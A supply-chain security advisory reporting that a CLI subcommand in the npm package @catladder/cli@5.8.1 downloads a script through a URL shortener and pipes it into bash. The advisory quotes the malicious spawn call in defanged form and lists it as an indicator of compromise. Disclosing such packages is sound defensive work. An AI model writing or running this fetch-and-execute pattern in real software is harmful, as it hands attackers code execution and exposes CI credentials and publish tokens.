@catladder/cli@5.8.1
Malicious code in @catladder/cli (npm)
Analysis
This package ships a CLI subcommand that downloads an unpinned remote script through a URL shortener and pipes it directly into a shell. The command is declared in src/commands/project/commandGetMyTotalWorktime.ts and compiled into dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.js and the bundled dist/bundles/cli/index.js; its entire implementation is `spawn("sh", ["-c", "curl -s -L hxxp://bit[.]ly/3VQEKNq | bash"])`. Invoking `catladder project worktime` therefore fetches whatever the shortlink currently resolves to and executes it with the invoking user's privileges, on hosts where this CI/CD tool operates with GitLab/GitHub tokens, cloud credentials and npm publish tokens (the same package writes ${NPM_TOKEN} auth into a generated .npmrc for publishing). The shortlink target is not shipped in the package, is not pinned by any checksum, and can be changed by whoever controls the link, so the code that ends up running cannot be reviewed, version-pinned or audited by the installer. IOC: hxxp://bit[.]ly/3VQEKNq
- analyzed by
- Leitwacht
- first seen
- Oct 29, 2026, 10:33 AM
- analyzed
- Oct 29, 2026, 12:18 PM
- weekly installs
- 204,169
hxxps://github[.]com/panter/catladder Request takedown / dispute →Related advisories
- @catladder/cli@5.8.0 same package
- @catladder/cli@0.0.0-fix-image-hash-marker-9379938a same package
- @catladder/cli@0.0.0-spike-cat-jqhh-ff74d50f same package
- @catladder/cli@0.0.0-main-2355fd7c same package
- @catladder/cli@0.0.0-feat-cloudrun-schedule-timezone-71290cb7 same package
- calkyippie@1.0.0
- calcurender@1.0.0
- t10-xor-spawn-testmetest@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.